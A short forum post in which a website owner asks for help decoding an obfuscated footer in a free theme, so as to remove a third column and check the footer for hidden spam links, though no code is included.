So I have been decrypting right along, but ran into a footer that will just NOT decrypt... which stinks because I really like the theme. I have been playing with this all night (and you wonder why I am divorced?) to no avail.

I have already decrypted the code in the sidebar, but the code in the footer is different. It will not go.

I want to get in there because it seems to control the content of the third column in addition to the footer area. Ultimately I want to get rid of that third column, expand the body over so I end up with a 2 column page, and check the footer code for spam.

I want to leave the credit where credit is due, but this cripples more than anything. Hey I'm just a little guy trying to market a really cool poison ivy antidote my great great grandmother used to make.

So here is the footer - has anyone seen it before? I'd upload the code but it's bigger than allowable, which of course is setting off all sorts of bells and whistes
